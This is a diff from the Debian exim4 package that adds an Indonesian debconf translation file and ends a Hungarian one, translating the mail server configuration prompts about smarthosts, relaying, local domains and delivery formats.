+#~ "átírás miatt a küldött levelek From: (feladó) mezőiben ez a név nem fog "
+#~ "szerepelni."
+
+#~ msgid ""
+#~ "Obviously, any machines that use us as a smarthost have to be excluded "
+#~ "from the relaying controls, as using us to relay mail for them is the "
+#~ "whole point."
+#~ msgstr ""
+#~ "A jelen gépet \"smarthost\"-ként, levéltovábbításra használó minden gépet "
+#~ "természetesen fel kell menteni a levéltovábbítási tilalom alól, hiszen az "
+#~ "egész felállásnak pont az az értelme, hogy a jelen gép kifelé továbbítsa "
+#~ "azok leveleit."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected "
+#~ "to one or more user accounts of the actual system administrators. The "
+#~ "default is to set things up so that mail for \"postmaster\" and for "
+#~ "various system accounts is redirected to \"root\", and mail for \"root\" "
+#~ "is redirected to a real user. This can be changed by editing /etc/"
+#~ "aliases."
+#~ msgstr ""
+#~ "A \"postmaster\" és a \"root\" fiókoknak címzett leveleket a tényleges "
+#~ "rendszeradminisztrátor(ok) fiókjába-fiókjaiba szokták átirányítani. "
+#~ "Alapértelmezésben a \"postmaster\" (és egyéb rendszerszintű fiókok) "
+#~ "leveleit a \"root\"-hoz szokták irányítani, a \"root\" leveleit pedig egy "
+#~ "megadott valós felhasználónak. Ezt a felállást az /etc/aliases "
+#~ "átszerkesztésével meg lehet változtatni."
+
+#~ msgid ""
+#~ "System administrator mail goes to which user accounts? Enter one or more "
+#~ "usernames separated by spaces or commas. Enter \"none\" if you do not "
+#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot "
+#~ "run deliveries as root and will save the mail to /var/mail/mail Also, "
+#~ "note that usernames should be lowercase!"
+#~ msgstr ""
+#~ "Melyik felhasználói fiókok fogadnak rendszeradminisztrátori "
+#~ "levélforgalmat? Vesszőkkel elválasztva adjon meg egy vagy több "
+#~ "felhasználónevet. A \"none\" megadásával megakadályozhatja a levelek "
+#~ "átirányítását. Figyelem, ez nem tanácsos. Az Exim nem kézbesíthet a \"root"
+#~ "\" felhasználó nevében, és az ilyen leveleket a /var/mail/mail-be menti. "
+#~ "Ügyeljen továbbá arra is, hogy a megadott felhasználóneveket kisbetűkkel "
+#~ "írja."
diff --git a/debian/po/id.po b/debian/po/id.po
new file mode 100644
index 0000000..c8f78a4
--- /dev/null
+++ b/debian/po/id.po
@@ -0,0 +1,830 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-19 16:46+0700\n"
+"Last-Translator: Arief S Fitrianto <arief@gurame.fisika.ui.ac.id>\n"
+"Language-Team: Debian Indonesia <debian-l10n-id@gurame.fisika.ui.ac.id>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Hapus surat-surat yang tak terkirim dalam direktori spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ada surat-surat di direktori spool milik exim, /var/spool/exim4/input, yang "
+"belum terkirim. Membuang Exim akan meyebabkan surat-surat tersebut tak "
+"terkirim sampai Exim terpasang kembali."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Jika pilihan ini tidak diambil, direktori spool tak disentuh, sehingga pesan-"
+"pesan di dalamnya dapat dikirimkan kembali setelah Exim dipasang-ulang."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Konfigurasi ulang exim4-config, bukannya paket ini "
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 memiliki konfigurasi yang diletakkan terpisah dalam paket 'exim4-"
+"config'. Jika Anda ingin konfigurasi-ulang Exim4, gunakan 'dpkg-reconfigure "
+"exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "situs internet; surate dikirim dan diterima langsung lewat SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "surate dikirim lewat smarthost; diterima lewat SMTP atau fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "surate dikirim lewat smarthost; tidak ada surate lokal"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "hanya pengiriman lokal; bukan lewat jaringan"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "tidak ada konfigurasi untuk saat ini"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Jenis konfigurasi surate secara umum:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Silahkan pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistem dengan alamat IP dinamis, termasuk yang memakai telepon, umumnya "
+"harus dikonfigurasi agar mengirimkan surate keluar dengan menggunakan "
+"komputer lain sebagai pengirim, disebut sebagai \"smarthost\" karena "
+"kebanyakan sistem di internet menolak surate yang datang dari alamat IP "
+"dinamik sebagai perlindungan dari spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Suatu sistem dengan alamat IP dinamik dapat menerima surat sendiri, atau "
+"pengiriman lokal dapat dimatikan seluruhnya (kecuali surat untuk root dan "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Benar-benar meninggalkan sistem surate tanpa konfigurasi?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Sebelum sistem surate Anda dikonfigurasi, sistem ini akan rusak dan tidak "
+"dapat digunakan. Konfigurasi dapat dilakukan di lain waktu, baik secara "
+"manual atau dengan menjalankan \"dpkg-reconfigure exim4-config\" sebagai "
+"root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nama sistem surate:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'Nama Surat' adalah nama domain untuk 'mensahkan' alamat-alamat surat tanpa "
+"nama domain."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Nama ini juga akan digunakan oleh program-program lain. Ia harus ditulis "
+"jadi satu, nama domain lengkap (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Contohnya, jika sebuah alamat surat pada host lokal adalah foo@domain.org, "
+"maka nilai yang benar untuk pilihan ini adalah domain.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Nama ini tidak akan muncul pada baris 'From:' dari surate keluar jika anda "
+"mengaktifkan fitur penulisan-ulang. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Alamat surate tujuan lain yang diterima:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Silahkan masukkan sebuah daftar (dipisahkan dengan titik-koma) domain yang "
+"dianggap oleh komputer ini sebagai alamat tujuan akhir. Domain-domain ini "
+"biasanya disebut \"domain lokal\". Nama host lokal (${fqdn}) dan \"localhost"
+"\" selalu dimasukkan dalam daftar. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Secara bawaan, semua domain akan diperlakukan sama. Jika a.example dan b."
+"example adalah domain lokal, maka acc@a.example dan acc@b.example akan "
+"dikirimkan ke tujuan akhir yang sama. Jika diperlukan perlakuan yang berbeda "
+"untuk tiap domain, penting untuk menyunting berkas konfigurasi setelah ini."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domain yang akan direlai:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Silakan masukkan daftar (dipisahkan dengan titik-koma) domain penerima yang "
+"akan diteruskan oleh sistam ini, misalnya sebagai MX cadangan atau gerbang "
+"surate. Ini berarti bahwa sistem ini akan menerima surat untuk domain-domain "
+"tersebut dari manapun dan meneruskannya sesuai dengan aturan pengiriman "
+"lokal."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Jangan masukkan domain lokal di sini. Wildcard dapat pula digunakan."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Mesin yang akan direlai:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Silahkan masukkan daftar (dipisahkan dengan titik-koma) rentang alamat IP "
+"yang akan diteruskan oleh sistem ini, menjadikan sistem ini sebagai "
+"smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Anda harus menggunakan bentuk alamat/awalan standar (contohnya: "
+"194.222.242.0/24 atau 5f03:1200:836f::/48). "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "Jika sistem ini bukan smarthost, biarkan daftar ini kosong."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nama domain yang terlihat untuk pengguna lokal: "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Pilihan untuk menyembunyikan nama surat lokal dalam surat keluar telah "
+"diaktifkan. Karena itu, penting untuk menentukan nama domain yang digunakan "
+"sistem ini sebagai domain untuk alamat pengirim pengguna lokal. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Alamat IP atau nama host untuk smarthost ke luar: "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Silahkan masukkan alamat IP atau nama host yang akan digunakan sebagai "
+"smarthost oleh sistem ini. Jika smarthost hanya menerima surat lewat port "
+"yang berbeda dari TCP/25. tambahkan dua titik-dua dan nomor portnya "
+"( contoh: smarthost.example::587 atau 192.168.254.254::2525). Titik-dua pada "
+"alamat IPv6 ditulis dua-kali."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Jika smarthost mengharuskan otentikasi, lihat berkas README khusus Debian "
+"di /usr/share/doc/exim4-base tentang pengaturan otentikasi SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Penerima surate untuk root dan postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Surat untuk 'portmaster', 'root', dan akun sistem lainnya perlu diarahkan ke "
+"akun pengguna dari administrator sistem sesungguhnya."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Jika ruas ini kosong, surat akan disimpan di /var/mail/mail. Hal ini sangat "
+"tidak dianjurkan."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Catatan: surat untuk postmaster harus dibaca di sistem yang diarahkan, "
+"bukannya diteruskan ke tempat lain. Jadi (paling tidak satu) pengguna di "
+"sistem ini tidak meneruskan surate mereka ke sistem lain. Sebuah awalan "
+"'real-' dapat digunakan untuk memaksakan pengiriman lokal."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Nama pengguna yang banyak perlu dipisahkan oleh spasi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+"Alamat-alamat IP yang digunakan untuk menerima koneksi SMTP yang datang:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Silahkan masukkan daftar (dipisahkan dengan titik-koma) alamat IP. Daemon "
+"penjejak SMTP Exim akan menggunakan semua alamat IP yang terdaftar di sini."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Jika dikosongkan, Exim akan menerima koneksi port SMTP pada semua perangkat "
+"antarmuka jaringan yang ada."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Jika sistem ini hanya menerima surate langsung dari layanan lokal, sangat "
+"dianjurkan untuk melarang sambungan dari luar ke server Exim. Layanan lokal "
+"tersebut misalnya fetchmail atau program surat-e Anda (MUA) yang terhubung "
+"ke host lokal. Sambungan dari luar tidak akan terjadi bila 127.0.0.1 "
+"dimasukkan di sini. Ini akan mencegah Exim menerima sambungan dari antarmuka "
+"jaringan publik. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Jaga jumlah permintaan DNS minimal (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Pada modus normal, Exim beroperasi menggunakan DNS saat dijalankan, saat "
+"menerima atau mengirim pesan. Hal ini bertujuan untuk keperluan pencatatan "
+"log dan untuk tetap menjaga agar jumlah nilai variabel yang telah ditentukan "
+"sebelumnya di berkas konfigurasi tetap kecil."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Jika sistem ini tidak mempunyai akses server DNS permanen setiap saat "
+"(misalkan: jika sistem ini menggunakan akses telepon menggunakan dial-on-"
+"demand), hal ini dapat menghasilkan akibat yang tak diharapkan. Contohnya, "
+"menjalankan Exim atau queue (bahkan tanpa adanya surate yang menunggu) dapat "
+"mengakibatkan sambungan dialup yang mahal. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Pilihan ini sebaiknya dipilih jika sistem ini menggunakan 'Dial-on-Demand'. "
+"Jika selalu terhubung ke internet, pilihan ini harus dimatikan."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Konfigurasi Server Surate"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Pecah berkas konfigurasi menjadi berkas yang kecil?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Paket Exim4 Debian dapat menggunakan 'konfigurasi terpadu', sebuah berkas "
+"tunggal (/etc/exim4/exim4.conf.template) atau 'konfigurasi terpisah', tempat "
+"berkas konfigurasi Exim yang sesungguhnya dipecah menjadi 50 berkas di dalam "
+"direktori /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Konfigurasi terpadu cocok untuk penyuntingan besar-besaran dan umumnya lebih "
+"stabil, sedangkan konfigurasi terpisah lebih nyaman untuk penyuntingan kecil-"
+"kecilan tetapi lebih rentan dan dapat mengacaukan sistem jika salah "
+"konfigurasi. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Penjelasan lebih rinci tentang konfigurasi terpisah dan terpadu dapat "
+"ditemukan berkas README khusus Debian di /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Sembunyikan nama surate lokal pada surate keluar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Header surate yang dikirimkan ke luar dapat ditulis ulang agar terlihat "
+"seperti dikirimkan dari sistem yang berbeda. Jika pilihan ini diambil, "
+"'${mailname}', 'localhost', dan '${dc_other_hostnames}' di baris-baris From, "
+"Reply-To, Sender dan Return-Path akan ditulis ulang. "
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Format mbox di /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Format Maildir di direktori home"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Metode pengiriman untuk surate lokal: "
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim dapat menyimpan surate lokal dalam format beragam. Yang paling banyak "
+"digunakan adalah mbox dan Maildir. mbox menggunakan berkas tunggal untuk "
+"menyimpan seluruh surat dalam direktori /var/mail/. Dengan Maildir, setiap "
+"pesan tunggal disimpan dalam berkas terpisah di ~/Maildir/"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Catatan: kebanyakan program dalam Debian mengira metode pengiriman lokal "
+"dalam bentuk mbox."
+
+#~ msgid "Overwrite existing /etc/aliases?"
+#~ msgstr "Timpa isi berkas /etc/aliases yang telah ada?"
+
+#~ msgid ""
+#~ "An /etc/aliases file was found on the system, but it does not redirect "
+#~ "mail for root to a user account, which is strongly recommended."
+#~ msgstr ""
+#~ "Anda telah mempunyai berkas /etc/aliases, tetapi tidak mengalihkan surate "
+#~ "untuk root ke pengguna biasa, yang sangat dianjurkan. "
+
+#~ msgid ""
+#~ "Accepting this option will cause /etc/aliases to be overwritten, and the "
+#~ "old file will be renamed to aliases.O."
+#~ msgstr ""
+#~ "Dengan menerima pilihan ini akan menyebabkan /etc/aliases ditimpa dan "
+#~ "berkas lama akan dipindahkan ke aliases.O."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Pindahkan surat-surat yang belum terkirim dari spool exim 3 ke exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Ada beberapa surat yang tak terkirim dalam direktori spool exim 3 (atau "
+#~ "exim-tls 3): /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Pilihan ini akan memindahkan pesan-pesan ini ke spool exim4 (/var/spool/"
+#~ "exim4/input/) yang selanjutnya akan ditangani oleh exim4"
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Hal ini hanya bekerja searah: Exim4 dapat menangani spool exim v3 tapi "
+#~ "tidak sebaliknya. Jika tidak mengambil pilihan ini, pesan-pesan tersebut "
+#~ "harus dipindahkan secara manual atau tidak akan pernah dikirimkan."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Membiarkan ruas ini kosong berarti Exim tidak akan melakukan pengiriman "
+#~ "lokal."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Hati-hati! Proses ini hanya dapat bekerja dalam satu-arah, exim4 dapat "
+#~ "mengurusi spool milik exim(v3) tetapi bukan sebaliknya."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Pindahkan surate hanya jika anda tidak memiliki rencana untuk kembali ke "
+#~ "exim(v3), sebaliknya, surate jangan dipindahkan sekarang tetapi akan "
+#~ "dipindahkan secara manual setelah anda mengubah pengaturan surate anda."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Jika terdapat domain yang lain, silakan masukkan disini sekarang, "
+#~ "dipisahkan dengan tanda titik koma (;). Kosongkan jika tidak ada."
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Silakan masukkan di sini nama domain yang akan diteruskan oleh sistem "
+#~ "ini, misalnya sebagai MX cadangan atau gerbang surate."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Domain relai adalah domain yang dipersiapkan untuk menerima email dari "
+#~ "mana saja di Internet. Jangan isikan domain lokal disini."
+
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domain yang anda masukkan disini harus dipisahkan oleh tanda titik koma "
+#~ "(;). Karakter bintang (*) juga bisa digunakan."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Karena anda mengaktifkan fitur penyembunyian nama surat lokal bagi surat "
+#~ "yang dikirimkan keluar, anda harus menentukan nama domain yang akan "
+#~ "digunakan bagi surat dari para pengguna lokal; biasanya adalah komputer "
+#~ "tempat anda menerima surat."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Di mana para pengguna anda akan membaca suratnya?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Komputer yang menangani surat keluar bagi host ini (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Masukkan nama host bagi mesin yang dijadikan sebagai pengirim surat "
+#~ "keluar."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Aktifkan fitur ini jika anda menggunakan Dial-on-Demand; bila tidak, "
+#~ "nonaktifkan saja."
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Jika anda tidak yakin maka anda seharusnya jangan menggunakan berkas "
+#~ "konfigurasi yang terpecah."
+
